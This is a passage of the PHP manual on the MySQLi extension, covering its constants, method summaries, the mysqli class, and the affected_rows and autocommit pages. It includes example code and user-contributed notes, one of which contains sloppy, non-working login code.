MYSQLI_TYPE_FLOAT

Field is defined as FLOAT

MYSQLI_TYPE_DOUBLE

Field is defined as DOUBLE

MYSQLI_TYPE_NULL

Field is defined as DEFAULT NULL

MYSQLI_TYPE_TIMESTAMP

Field is defined as TIMESTAMP

MYSQLI_TYPE_LONGLONG

Field is defined as BIGINT

MYSQLI_TYPE_INT24

Field is defined as MEDIUMINT

MYSQLI_TYPE_DATE

Field is defined as DATE

MYSQLI_TYPE_TIME

Field is defined as TIME

MYSQLI_TYPE_DATETIME

Field is defined as DATETIME

MYSQLI_TYPE_YEAR

Field is defined as YEAR

MYSQLI_TYPE_NEWDATE

Field is defined as DATE

MYSQLI_TYPE_INTERVAL

Field is defined as INTERVAL

MYSQLI_TYPE_ENUM

Field is defined as ENUM

MYSQLI_TYPE_SET

Field is defined as SET

MYSQLI_TYPE_TINY_BLOB

Field is defined as TINYBLOB

MYSQLI_TYPE_MEDIUM_BLOB

Field is defined as MEDIUMBLOB

MYSQLI_TYPE_LONG_BLOB

Field is defined as LONGBLOB

MYSQLI_TYPE_BLOB

Field is defined as BLOB

MYSQLI_TYPE_VAR_STRING

Field is defined as VARCHAR

MYSQLI_TYPE_STRING

Field is defined as CHAR or BINARY

MYSQLI_TYPE_CHAR

Field is defined as TINYINT. For CHAR, see MYSQLI_TYPE_STRING

MYSQLI_TYPE_GEOMETRY

Field is defined as GEOMETRY

MYSQLI_NEED_DATA

More data available for bind variable

MYSQLI_NO_DATA

No more data available for bind variable

MYSQLI_DATA_TRUNCATED

Data truncation occurred. Available since PHP 5.1.0 and MySQL 5.0.5.

MYSQLI_ENUM_FLAG

Field is defined as ENUM. Available since PHP 5.3.0.

MYSQLI_BINARY_FLAG

Field is defined as BINARY. Available since PHP 5.3.0.

MYSQLI_CURSOR_TYPE_FOR_UPDATE

MYSQLI_CURSOR_TYPE_NO_CURSOR

MYSQLI_CURSOR_TYPE_READ_ONLY

MYSQLI_CURSOR_TYPE_SCROLLABLE

MYSQLI_STMT_ATTR_CURSOR_TYPE

MYSQLI_STMT_ATTR_PREFETCH_ROWS

MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH

MYSQLI_SET_CHARSET_NAME

MYSQLI_REPORT_INDEX

Report if no index or bad index was used in a query.

MYSQLI_REPORT_ERROR

Report errors from mysqli function calls.

MYSQLI_REPORT_STRICT

Throw a mysqli_sql_exception for errors instead of warnings.

MYSQLI_REPORT_ALL

Set all options on (report all).

MYSQLI_REPORT_OFF

Turns reporting off.

MYSQLI_DEBUG_TRACE_ENABLED

Is set to 1 if mysqli_debug() functionality is enabled.

MYSQLI_SERVER_QUERY_NO_GOOD_INDEX_USED

MYSQLI_SERVER_QUERY_NO_INDEX_USED

MYSQLI_REFRESH_GRANT

Refreshes the grant tables.

MYSQLI_REFRESH_LOG

Flushes the logs, like executing the FLUSH LOGS SQL statement.

MYSQLI_REFRESH_TABLES

Flushes the table cache, like executing the FLUSH TABLES SQL statement.

MYSQLI_REFRESH_HOSTS

Flushes the host cache, like executing the FLUSH HOSTS SQL statement.

MYSQLI_REFRESH_STATUS

Reset the status variables, like executing the FLUSH STATUS SQL statement.

MYSQLI_REFRESH_THREADS

Flushes the thread cache.

MYSQLI_REFRESH_SLAVE

On a slave replication server: resets the master server information, and restarts the slave. Like executing the RESET SLAVE SQL statement.

MYSQLI_REFRESH_MASTER

On a master replication server: removes the binary log files listed in the binary log index, and truncates the index file. Like executing the RESET MASTER SQL statement.

MYSQLI_TRANS_COR_AND_CHAIN

Appends "AND CHAIN" to mysqli_commit() or mysqli_rollback().

MYSQLI_TRANS_COR_AND_NO_CHAIN

Appends "AND NO CHAIN" to mysqli_commit() or mysqli_rollback().

MYSQLI_TRANS_COR_RELEASE

Appends "RELEASE" to mysqli_commit() or mysqli_rollback().

MYSQLI_TRANS_COR_NO_RELEASE

Appends "NO RELEASE" to mysqli_commit() or mysqli_rollback().

User Contributed Notes

jeriba4 at googlemail dot com 11-Mar-2013 03:00
Note that although CHAR is an explicite string type within MySQL,
MYSQLI_TYPE_CHAR is interpreted the same way as MYSQLI_TYPE_TINY, which is the TINYINT numeric type within MySQL.
As a consequence, you cannot distinguish these two column types by using their respective type index, as both are set to integer one (1).
Anonymous 09-May-2008 09:44
MYSQLI_TYPE_SHORT is used for SMALLINT, not INT


Notes

Some implementation notes:

  1. Support was added for MYSQL_TYPE_GEOMETRY to the MySQLi extension in PHP 5.3.

  2. Note there are different internal implementations within libmysqlclient and mysqlnd for handling columns of type MYSQL_TYPE_GEOMETRY. Generally speaking, mysqlnd will allocate significantly less memory. For example, if there is a POINT column in a result set, libmysqlclient may pre-allocate up to 4GB of RAM although less than 50 bytes are needed for holding a POINT column in memory. Memory allocation is much lower, less than 50 bytes, if using mysqlnd.

User Contributed Notes

There are no user contributed notes for this page.


The MySQLi Extension Function Summary

Summary of mysqli methods
mysqli Class
OOP Interface | Procedural Interface | Alias (Do not use) | Description
Properties
$mysqli::affected_rows | mysqli_affected_rows() | N/A | Gets the number of affected rows in a previous MySQL operation
$mysqli::client_info | mysqli_get_client_info() | N/A | Returns the MySQL client version as a string
$mysqli::client_version | mysqli_get_client_version() | N/A | Returns MySQL client version info as an integer
$mysqli::connect_errno | mysqli_connect_errno() | N/A | Returns the error code from last connect call
$mysqli::connect_error | mysqli_connect_error() | N/A | Returns a string description of the last connect error
$mysqli::errno | mysqli_errno() | N/A | Returns the error code for the most recent function call
$mysqli::error | mysqli_error() | N/A | Returns a string description of the last error
$mysqli::field_count | mysqli_field_count() | N/A | Returns the number of columns for the most recent query
$mysqli::host_info | mysqli_get_host_info() | N/A | Returns a string representing the type of connection used
$mysqli::protocol_version | mysqli_get_proto_info() | N/A | Returns the version of the MySQL protocol used
$mysqli::server_info | mysqli_get_server_info() | N/A | Returns the version of the MySQL server
$mysqli::server_version | mysqli_get_server_version() | N/A | Returns the version of the MySQL server as an integer
$mysqli::info | mysqli_info() | N/A | Retrieves information about the most recently executed query
$mysqli::insert_id | mysqli_insert_id() | N/A | Returns the auto generated id used in the last query
$mysqli::sqlstate | mysqli_sqlstate() | N/A | Returns the SQLSTATE error from previous MySQL operation
$mysqli::warning_count | mysqli_warning_count() | N/A | Returns the number of warnings from the last query for the given link
Methods
mysqli::autocommit() | mysqli_autocommit() | N/A | Turns on or off auto-committing database modifications
mysqli::change_user() | mysqli_change_user() | N/A | Changes the user of the specified database connection
mysqli::character_set_name(), mysqli::client_encoding | mysqli_character_set_name() | mysqli_client_encoding() | Returns the default character set for the database connection
mysqli::close() | mysqli_close() | N/A | Closes a previously opened database connection
mysqli::commit() | mysqli_commit() | N/A | Commits the current transaction
mysqli::__construct() | mysqli_connect() | N/A | Open a new connection to the MySQL server [Note: static (i.e. class) method]
mysqli::debug() | mysqli_debug() | N/A | Performs debugging operations
mysqli::dump_debug_info() | mysqli_dump_debug_info() | N/A | Dump debugging information into the log
mysqli::get_charset() | mysqli_get_charset() | N/A | Returns a character set object
mysqli::get_connection_stats() | mysqli_get_connection_stats() | N/A | Returns client connection statistics. Available only with mysqlnd.
mysqli::get_client_info() | mysqli_get_client_info() | N/A | Returns the MySQL client version as a string
mysqli::get_client_stats() | mysqli_get_client_stats() | N/A | Returns client per-process statistics. Available only with mysqlnd.
mysqli::get_cache_stats() | mysqli_get_cache_stats() | N/A | Returns client Zval cache statistics. Available only with mysqlnd.
mysqli::get_server_info() | mysqli_get_server_info() | N/A | NOT DOCUMENTED
mysqli::get_warnings() | mysqli_get_warnings() | N/A | NOT DOCUMENTED
mysqli::init() | mysqli_init() | N/A | Initializes MySQLi and returns a resource for use with mysqli_real_connect. [Not called on an object, as it returns a $mysqli object.]
mysqli::kill() | mysqli_kill() | N/A | Asks the server to kill a MySQL thread
mysqli::more_results() | mysqli_more_results() | N/A | Check if there are any more query results from a multi query
mysqli::multi_query() | mysqli_multi_query() | N/A | Performs a query on the database
mysqli::next_result() | mysqli_next_result() | N/A | Prepare next result from multi_query
mysqli::options() | mysqli_options() | mysqli_set_opt() | Set options
mysqli::ping() | mysqli_ping() | N/A | Pings a server connection, or tries to reconnect if the connection has gone down
mysqli::prepare() | mysqli_prepare() | N/A | Prepare an SQL statement for execution
mysqli::query() | mysqli_query() | N/A | Performs a query on the database
mysqli::real_connect() | mysqli_real_connect() | N/A | Opens a connection to a mysql server
mysqli::real_escape_string(), mysqli::escape_string() | mysqli_real_escape_string() | mysqli_escape_string() | Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
mysqli::real_query() | mysqli_real_query() | N/A | Execute an SQL query
mysqli::refresh() | mysqli_refresh() | N/A | Flushes tables or caches, or resets the replication server information
mysqli::rollback() | mysqli_rollback() | N/A | Rolls back current transaction
mysqli::select_db() | mysqli_select_db() | N/A | Selects the default database for database queries
mysqli::set_charset() | mysqli_set_charset() | N/A | Sets the default client character set
mysqli::set_local_infile_default() | mysqli_set_local_infile_default() | N/A | Unsets user defined handler for load local infile command
mysqli::set_local_infile_handler() | mysqli_set_local_infile_handler() | N/A | Set callback function for LOAD DATA LOCAL INFILE command
mysqli::ssl_set() | mysqli_ssl_set() | N/A | Used for establishing secure connections using SSL
mysqli::stat() | mysqli_stat() | N/A | Gets the current system status
mysqli::stmt_init() | mysqli_stmt_init() | N/A | Initializes a statement and returns an object for use with mysqli_stmt_prepare
mysqli::store_result() | mysqli_store_result() | N/A | Transfers a result set from the last query
mysqli::thread_id() | mysqli_thread_id() | N/A | Returns the thread ID for the current connection
mysqli::thread_safe() | mysqli_thread_safe() | N/A | Returns whether thread safety is given or not
mysqli::use_result() | mysqli_use_result() | N/A | Initiate a result set retrieval
Summary of mysqli_stmt methods
MySQL_STMT
OOP Interface | Procedural Interface | Alias (Do not use) | Description
Properties
$mysqli_stmt::affected_rows | mysqli_stmt_affected_rows() | N/A | Returns the total number of rows changed, deleted, or inserted by the last executed statement
$mysqli_stmt::errno | mysqli_stmt_errno() | N/A | Returns the error code for the most recent statement call
$mysqli_stmt::error | mysqli_stmt_error() | N/A | Returns a string description for last statement error
$mysqli_stmt::field_count | mysqli_stmt_field_count() | N/A | Returns the number of field in the given statement - not documented
$mysqli_stmt::insert_id | mysqli_stmt_insert_id() | N/A | Get the ID generated from the previous INSERT operation
$mysqli_stmt::num_rows | mysqli_stmt_num_rows() | N/A | Return the number of rows in statements result set
$mysqli_stmt::param_count | mysqli_stmt_param_count() | mysqli_param_count() | Returns the number of parameter for the given statement
$mysqli_stmt::sqlstate | mysqli_stmt_sqlstate() | N/A | Returns SQLSTATE error from previous statement operation
Methods
mysqli_stmt::attr_get() | mysqli_stmt_attr_get() | N/A | Used to get the current value of a statement attribute
mysqli_stmt::attr_set() | mysqli_stmt_attr_set() | N/A | Used to modify the behavior of a prepared statement
mysqli_stmt::bind_param() | mysqli_stmt_bind_param() | mysqli_bind_param() | Binds variables to a prepared statement as parameters
mysqli_stmt::bind_result() | mysqli_stmt_bind_result() | mysqli_bind_result() | Binds variables to a prepared statement for result storage
mysqli_stmt::close() | mysqli_stmt_close() | N/A | Closes a prepared statement
mysqli_stmt::data_seek() | mysqli_stmt_data_seek() | N/A | Seeks to an arbitrary row in statement result set
mysqli_stmt::execute() | mysqli_stmt_execute() | mysqli_execute() | Executes a prepared Query
mysqli_stmt::fetch() | mysqli_stmt_fetch() | mysqli_fetch() | Fetch results from a prepared statement into the bound variables
mysqli_stmt::free_result() | mysqli_stmt_free_result() | N/A | Frees stored result memory for the given statement handle
mysqli_stmt::get_result() | mysqli_stmt_get_result() | N/A | Gets a result set from a prepared statement. Available only with mysqlnd.
mysqli_stmt::get_warnings() | mysqli_stmt_get_warnings() | N/A | NOT DOCUMENTED
$mysqli_stmt::more_results() | mysqli_stmt_more_results() | N/A | NOT DOCUMENTED Available only with mysqlnd.
$mysqli_stmt::next_result() | mysqli_stmt_next_result() | N/A | NOT DOCUMENTED Available only with mysqlnd.
mysqli_stmt::num_rows() | mysqli_stmt_num_rows() | N/A | See also property $mysqli_stmt::num_rows
mysqli_stmt::prepare() | mysqli_stmt_prepare() | N/A | Prepare an SQL statement for execution
mysqli_stmt::reset() | mysqli_stmt_reset() | N/A | Resets a prepared statement
mysqli_stmt::result_metadata() | mysqli_stmt_result_metadata() | mysqli_get_metadata() | Returns result set metadata from a prepared statement
mysqli_stmt::send_long_data() | mysqli_stmt_send_long_data() | mysqli_send_long_data() | Send data in blocks
mysqli_stmt::store_result() | mysqli_stmt_store_result() | N/A | Transfers a result set from a prepared statement
Summary of mysqli_result methods
mysqli_result
OOP Interface | Procedural Interface | Alias (Do not use) | Description
Properties
$mysqli_result::current_field | mysqli_field_tell() | N/A | Get current field offset of a result pointer
$mysqli_result::field_count | mysqli_num_fields() | N/A | Get the number of fields in a result
$mysqli_result::lengths | mysqli_fetch_lengths() | N/A | Returns the lengths of the columns of the current row in the result set
$mysqli_result::num_rows | mysqli_num_rows() | N/A | Gets the number of rows in a result
Methods
mysqli_result::data_seek() | mysqli_data_seek() | N/A | Adjusts the result pointer to an arbitrary row in the result
mysqli_result::fetch_all() | mysqli_fetch_all() | N/A | Fetches all result rows and returns the result set as an associative array, a numeric array, or both. Available only with mysqlnd.
mysqli_result::fetch_array() | mysqli_fetch_array() | N/A | Fetch a result row as an associative, a numeric array, or both
mysqli_result::fetch_assoc() | mysqli_fetch_assoc() | N/A | Fetch a result row as an associative array
mysqli_result::fetch_field_direct() | mysqli_fetch_field_direct() | N/A | Fetch meta-data for a single field
mysqli_result::fetch_field() | mysqli_fetch_field() | N/A | Returns the next field in the result set
mysqli_result::fetch_fields() | mysqli_fetch_fields() | N/A | Returns an array of objects representing the fields in a result set
mysqli_result::fetch_object() | mysqli_fetch_object() | N/A | Returns the current row of a result set as an object
mysqli_result::fetch_row() | mysqli_fetch_row() | N/A | Get a result row as an enumerated array
mysqli_result::field_seek() | mysqli_field_seek() | N/A | Set result pointer to a specified field offset
mysqli_result::free(), mysqli_result::close, mysqli_result::free_result | mysqli_free_result() | N/A | Frees the memory associated with a result
Summary of mysqli_driver methods
MySQL_Driver
OOP Interface | Procedural Interface | Alias (Do not use) | Description
Properties
N/A
Methods
mysqli_driver::embedded_server_end() | mysqli_embedded_server_end() | N/A | NOT DOCUMENTED
mysqli_driver::embedded_server_start() | mysqli_embedded_server_start() | N/A | NOT DOCUMENTED

Note:

Alias functions are provided for backward compatibility purposes only. Do not use them in new projects.

User Contributed Notes

There are no user contributed notes for this page.


The mysqli class

(PHP 5)

Introduction

Represents a connection between PHP and a MySQL database.

Class synopsis

mysqli {
/* Properties */
int $affected_rows;
string $client_info;
int $client_version;
string $connect_errno;
string $connect_error;
int $errno;
array $error_list;
string $error;
int $field_count;
int $client_version;
string $host_info;
string $protocol_version;
string $server_info;
int $server_version;
string $info;
mixed $insert_id;
string $sqlstate;
int $thread_id;
int $warning_count;
/* Methods */
 __construct
  ([ string $host = ini_get("mysqli.default_host")
 [, string $username = ini_get("mysqli.default_user")
 [, string $passwd = ini_get("mysqli.default_pw")
 [, string $dbname = ""
 [, int $port = ini_get("mysqli.default_port")
 [, string $socket = ini_get("mysqli.default_socket")
]]]]]] )
bool autocommit ( bool $mode )
bool change_user ( string $user , string $password , string $database )
string character_set_name ( void )
bool close ( void )
bool commit ([ int $flags [, string $name ]] )
bool debug ( string $message )
bool dump_debug_info ( void )
object get_charset ( void )
string get_client_info ( void )
bool get_connection_stats ( void )
mysqli_warning get_warnings ( void )
mysqli init ( void )
bool kill ( int $processid )
bool more_results ( void )
bool multi_query ( string $query )
bool next_result ( void )
bool options ( int $option , mixed $value )
bool ping ( void )
public static int poll ( array &$read , array &$error , array &$reject , int $sec [, int $usec ] )
mysqli_stmt prepare ( string $query )
mixed query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] )
bool real_connect ([ string $host [, string $username [, string $passwd [, string $dbname [, int $port [, string $socket [, int $flags ]]]]]]] )
string escape_string ( string $escapestr )
bool real_query ( string $query )
public mysqli_result reap_async_query ( void )
public bool refresh ( int $options )
bool rollback ([ int $flags [, string $name ]] )
int rpl_query_type ( string $query )
bool select_db ( string $dbname )
bool send_query ( string $query )
bool set_charset ( string $charset )
bool set_local_infile_handler ( mysqli $link , callable $read_func )
bool ssl_set ( string $key , string $cert , string $ca , string $capath , string $cipher )
string stat ( void )
mysqli_stmt stmt_init ( void )
mysqli_result store_result ([ int $option ] )
mysqli_result use_result ( void )
}

Table of Contents

  • mysqli::$affected_rows — Gets the number of affected rows in a previous MySQL operation
  • mysqli::autocommit — Turns on or off auto-committing database modifications
  • mysqli::begin_transaction — Starts a transaction
  • mysqli::change_user — Changes the user of the specified database connection
  • mysqli::character_set_name — Returns the default character set for the database connection
  • mysqli::$client_info — Get MySQL client info
  • mysqli::$client_version — Returns the MySQL client version as a string
  • mysqli::close — Closes a previously opened database connection
  • mysqli::commit — Commits the current transaction
  • mysqli::$connect_errno — Returns the error code from last connect call
  • mysqli::$connect_error — Returns a string description of the last connect error
  • mysqli::__construct — Open a new connection to the MySQL server
  • mysqli::debug — Performs debugging operations
  • mysqli::dump_debug_info — Dump debugging information into the log
  • mysqli::$errno — Returns the error code for the most recent function call
  • mysqli::$error_list — Returns a list of errors from the last command executed
  • mysqli::$error — Returns a string description of the last error
  • mysqli::$field_count — Returns the number of columns for the most recent query
  • mysqli::get_charset — Returns a character set object
  • mysqli::get_client_info — Get MySQL client info
  • mysqli_get_client_stats — Returns client per-process statistics
  • mysqli_get_client_version — Returns the MySQL client version as an integer
  • mysqli::get_connection_stats — Returns statistics about the client connection
  • mysqli::$host_info — Returns a string representing the type of connection used
  • mysqli::$protocol_version — Returns the version of the MySQL protocol used
  • mysqli::$server_info — Returns the version of the MySQL server
  • mysqli::$server_version — Returns the version of the MySQL server as an integer
  • mysqli::get_warnings — Get result of SHOW WARNINGS
  • mysqli::$info — Retrieves information about the most recently executed query
  • mysqli::init — Initializes MySQLi and returns a resource for use with mysqli_real_connect()
  • mysqli::$insert_id — Returns the auto generated id used in the last query
  • mysqli::kill — Asks the server to kill a MySQL thread
  • mysqli::more_results — Check if there are any more query results from a multi query
  • mysqli::multi_query — Performs a query on the database
  • mysqli::next_result — Prepare next result from multi_query
  • mysqli::options — Set options
  • mysqli::ping — Pings a server connection, or tries to reconnect if the connection has gone down
  • mysqli::poll — Poll connections
  • mysqli::prepare — Prepare an SQL statement for execution
  • mysqli::query — Performs a query on the database
  • mysqli::real_connect — Opens a connection to a mysql server
  • mysqli::real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
  • mysqli::real_query — Execute an SQL query
  • mysqli::reap_async_query — Get result from async query
  • mysqli::refresh — Refreshes
  • mysqli::release_savepoint — Rolls back a transaction to the named savepoint
  • mysqli::rollback — Rolls back current transaction
  • mysqli::rpl_query_type — Returns RPL query type
  • mysqli::savepoint — Set a named transaction savepoint
  • mysqli::select_db — Selects the default database for database queries
  • mysqli::send_query — Send the query and return
  • mysqli::set_charset — Sets the default client character set
  • mysqli::set_local_infile_default — Unsets user defined handler for load local infile command
  • mysqli::set_local_infile_handler — Set callback function for LOAD DATA LOCAL INFILE command
  • mysqli::$sqlstate — Returns the SQLSTATE error from previous MySQL operation
  • mysqli::ssl_set — Used for establishing secure connections using SSL
  • mysqli::stat — Gets the current system status
  • mysqli::stmt_init — Initializes a statement and returns an object for use with mysqli_stmt_prepare
  • mysqli::store_result — Transfers a result set from the last query
  • mysqli::$thread_id — Returns the thread ID for the current connection
  • mysqli::thread_safe — Returns whether thread safety is given or not
  • mysqli::use_result — Initiate a result set retrieval
  • mysqli::$warning_count — Returns the number of warnings from the last query for the given link

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of affected rows in a previous MySQL operation

  • « mysqli
  • mysqli::autocommit »
  • PHP Manual
  • mysqli
  • Gets the number of affected rows in a previous MySQL operation

mysqli::$affected_rows

mysqli_affected_rows

(PHP 5)

mysqli::$affected_rows -- mysqli_affected_rows — Gets the number of affected rows in a previous MySQL operation

Description

Object oriented style

int $mysqli->affected_rows;

Procedural style

int mysqli_affected_rows ( mysqli $link )

Returns the number of rows affected by the last INSERT, UPDATE, REPLACE or DELETE query.

For SELECT statements mysqli_affected_rows() works like mysqli_num_rows().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records were updated for an UPDATE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the query returned an error.

Note:

If the number of affected rows is greater than the maximum integer value( PHP_INT_MAX ), the number of affected rows will be returned as a string.

Examples

Example #1 $mysqli->affected_rows example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Insert rows */
$mysqli->query("CREATE TABLE Language SELECT * from CountryLanguage");
printf("Affected rows (INSERT): %d\n", $mysqli->affected_rows);

$mysqli->query("ALTER TABLE Language ADD Status int default 0");

/* update rows */
$mysqli->query("UPDATE Language SET Status=1 WHERE Percentage > 50");
printf("Affected rows (UPDATE): %d\n", $mysqli->affected_rows);

/* delete rows */
$mysqli->query("DELETE FROM Language WHERE Percentage < 50");
printf("Affected rows (DELETE): %d\n", $mysqli->affected_rows);

/* select all rows */
$result = $mysqli->query("SELECT CountryCode FROM Language");
printf("Affected rows (SELECT): %d\n", $mysqli->affected_rows);

$result->close();

/* Delete table Language */
$mysqli->query("DROP TABLE Language");

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

if (!$link) {
    printf("Can't connect to localhost. Error: %s\n", mysqli_connect_error());
    exit();
}

/* Insert rows */
mysqli_query($link, "CREATE TABLE Language SELECT * from CountryLanguage");
printf("Affected rows (INSERT): %d\n", mysqli_affected_rows($link));

mysqli_query($link, "ALTER TABLE Language ADD Status int default 0");

/* update rows */
mysqli_query($link, "UPDATE Language SET Status=1 WHERE Percentage > 50");
printf("Affected rows (UPDATE): %d\n", mysqli_affected_rows($link));

/* delete rows */
mysqli_query($link, "DELETE FROM Language WHERE Percentage < 50");
printf("Affected rows (DELETE): %d\n", mysqli_affected_rows($link));

/* select all rows */
$result = mysqli_query($link, "SELECT CountryCode FROM Language");
printf("Affected rows (SELECT): %d\n", mysqli_affected_rows($link));

mysqli_free_result($result);

/* Delete table Language */
mysqli_query($link, "DROP TABLE Language");

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Affected rows (INSERT): 984
Affected rows (UPDATE): 168
Affected rows (DELETE): 815
Affected rows (SELECT): 169

See Also

  • mysqli_num_rows() - Gets the number of rows in a result
  • mysqli_info() - Retrieves information about the most recently executed query

User Contributed Notes

fastest963 at gmail dot com 10-Jun-2014 02:50
empty($db->affected_rows) will return TRUE even if affected_rows is greater than 0. Manually check < 1 if you're looking for failure.
ric at xpellshop dot com 10-Jul-2011 08:54
"Zero indicates that no records where updated for an UPDATE statement, no rows matched the WHERE clause in the query or that no query has yet been executed."

what if i need to know which one of the three occurred? It's dumb that there is no distinction between the three.
Anonymous 18-Feb-2011 11:50
On "INSERT INTO ON DUPLICATE KEY UPDATE" queries, though one may expect affected_rows to return only 0 or 1 per row on successful queries, it may in fact return 2.

From Mysql manual: "With ON DUPLICATE KEY UPDATE, the affected-rows value per row is 1 if the row is inserted as a new row and 2 if an existing row is updated."

See: http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html

Here's the sum breakdown _per row_:
+0: a row wasn't updated or inserted (likely because the row already existed, but no field values were actually changed during the UPDATE)
+1: a row was inserted
+2: a row was updated
djnigelharkness at yahoo dot com 12-May-2010 02:42
<?php
    $gHostName    ="localhost";
    $gUserName    ="root";
    $gPassword    ="mypassword";
    $gDBName     ="dbName";
    $mysqli = new mysqli($gHostName, $gUserName, $gPassword,
            $gDBName);

    $username="username";    $email="user@xxx.edu";
    $password="3442f6e94a733237a3e844f0286b92f559bf794d";

    //insert
//    $stmt = $mysqli->prepare("INSERT INTO j_user
        (username,email,password) VALUES (?, ?, ?)");
//    $stmt->bind_param('sss',$username, $email, $password);
//    $stmt->execute();
//    $stmt->close();

    //delete
//    $stmt = $mysqli->prepare("DELETE FROM j_user WHERE
                        username=?");
//    $stmt->bind_param('s',$username);
//    $stmt->execute();
//    $stmt->close();

    //update
//    $stmt = $mysqli->prepare("UPDATE j_user SET email=? WHERE
                        username='wjw6349'");
//    $stmt->bind_param('s',$email);
//    $stmt->execute();
//    $stmt->close();

    if ($mysqli->connect_error){
        echo("Connect failed: ".mysqli_connect_error()); exit();
    }

    $querySelect = "SELECT * FROM j_user";
    $resultSet = $mysqli->query($querySelect);

    if($resultSet->num_rows > 0){
        while($row = $resultSet->fetch_assoc()){
            foreach($row as $fieldValue){
                $bigString .= "<em>$fieldValue</em><br />\n";
            }
            $bigString .= "<hr />";
        }
        $mysqli->close();
        echo $bigString;
    }

    function __autoload($className) {
        require_once $className.'.class.php';
    }
    //start the session and create it
    session_start();
    $_SESSION['name'] = $_POST['username']."_".time();
    //encrypt the password
    sha1($_POST['password']) == $password
    header("Location:admin.php");
    //check if the session is set
    session_start();
    if (isset($_SESSION['name'])) { }
?>
oilpc at oilpc dot com 14-Nov-2009 07:06
For "INSERT" or "UPDATE" statement for modifying data contained in one row of one table I checked if number of affected rows equals 1 to determine success of the operation. It works fine both for errors and false value of WHERE condition (that might be generated according to specific application user acces privileges).
<?php
if ($mysqli->affected_rows==1){
    echo "success";
}
else {
    echo "fail";
}
?>

Checking if mysqli->affected_rows will equal -1 or not is not a good method of determining success of "INSERT IGNORE" statements. Example: Ignoring duplicate key errors while inserting some rows containing data provided by user only if they will match specified unique constraint causes returning of -1 value by mysqli->affected_rows even if rows were inserted. (checked on MySQL 5.0.85 linux and php 5.2.9-2 windows). However mysqli->sqlstate returns no error if statement was executed successfully.
<?php
if ($mysqli->affected_rows!=-1){
    echo "success";// for "INSERT IGNORE" statements will not occur if there were any duplicate key errors ignored during execution of the query
}
else {
    echo "fail";// "INSERT IGNORE" statements causing any duplicate key errors (however ignored) lead to mysqli->affected_rows equal -1
}

// Example below works for "INSERT IGNORE" stattements, too
if ($mysqli->sqlstate=="00000"){
    echo "success";
}
else {
    echo "fail";
}
?>


Turns on or off auto-committing database modifications

  • « mysqli::$affected_rows
  • mysqli::begin_transaction »
  • PHP Manual
  • mysqli
  • Turns on or off auto-committing database modifications

mysqli::autocommit

mysqli_autocommit

(PHP 5)

mysqli::autocommit -- mysqli_autocommit — Turns on or off auto-committing database modifications

Description

Object oriented style

bool mysqli::autocommit ( bool $mode )

Procedural style

bool mysqli_autocommit ( mysqli $link , bool $mode )

Turns on or off auto-commit mode on queries for the database connection.

To determine the current state of autocommit use the SQL command SELECT @@autocommit.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

mode

Whether to turn on auto-commit or not.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

This function doesn't work with non transactional table types (like MyISAM or ISAM).

Examples

Example #1 mysqli::autocommit() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* turn autocommit on */
$mysqli->autocommit(TRUE);

if ($result = $mysqli->query("SELECT @@autocommit")) {
    $row = $result->fetch_row();
    printf("Autocommit is %s\n", $row[0]);
    $result->free();
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

if (!$link) {
    printf("Can't connect to localhost. Error: %s\n", mysqli_connect_error());
    exit();
}

/* turn autocommit on */
mysqli_autocommit($link, TRUE);

if ($result = mysqli_query($link, "SELECT @@autocommit")) {
    $row = mysqli_fetch_row($result);
    printf("Autocommit is %s\n", $row[0]);
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Autocommit is 1

See Also

  • mysqli_begin_transaction() - Starts a transaction
  • mysqli_commit() - Commits the current transaction
  • mysqli_rollback() - Rolls back current transaction

User Contributed Notes

jcwebb at dicoe dot com 11-Nov-2007 10:03
Just to be clear, autocommit not only turns on/off transactions, but will also 'commit' any waiting queries.
<?php
mysqli_autocommit($link, FALSE); // turn OFF auto
-some query 1;
-some query 2;
mysqli_commit($link); // process ALL queries so far
-some query 3;
-some query 4;
mysqli_autocommit($link, TRUE); // turn ON auto
?>
All 4 will be processed.
Geoffrey Thubron 13-May-2007 03:02
It's worth noting that you can perform transactions without disabling autocommit just using standard sql. "START TRANSACTION;" will start a transaction. "COMMIT;" will commit the results and "ROLLBACK;" will revert to the pre-transaction state.

CREATE TABLE and CREATE DATABASE (and probably others) are always commited immediately and your transaction appears to terminate. Thus any commands before and after will be commited, even if a subsequent rollback is attempted.

If you are in the middle of a transaction and you call mysqli_close() it appears that you get the funcitonality of an implicit rollback.

I can't reproduce the "code bug causes lock" problem outlined below (I always get a successful rollback and the script will run umtine times successfully). Therefore, I would suggest that the problem is fixed in php-5.2.2.
Glen 11-Mar-2007 09:22
I've found that if PHP exits due to a code bug during a transaction, an InnoDB table can remain locked until Apache is restarted.

The simple test is to start a transaction by setting $mysqli_obj->autocommit(false) and executing an insert statement.  Before getting to a $mysqli_obj->commit statement - have a runtime code bug bomb PHP.  You check the database, no insert happened (you assume a rollback occurred) .. and you go fix the bug, and try again... but this time the script takes about 50 seconds to timeout - the insert statement returning with a “1205 - Lock wait timeout exceeded; try restarting transaction”.  No rollback occurred. And this error will not go away until you restart Apache - for whatever reason, the resources are not released until the process is killed.

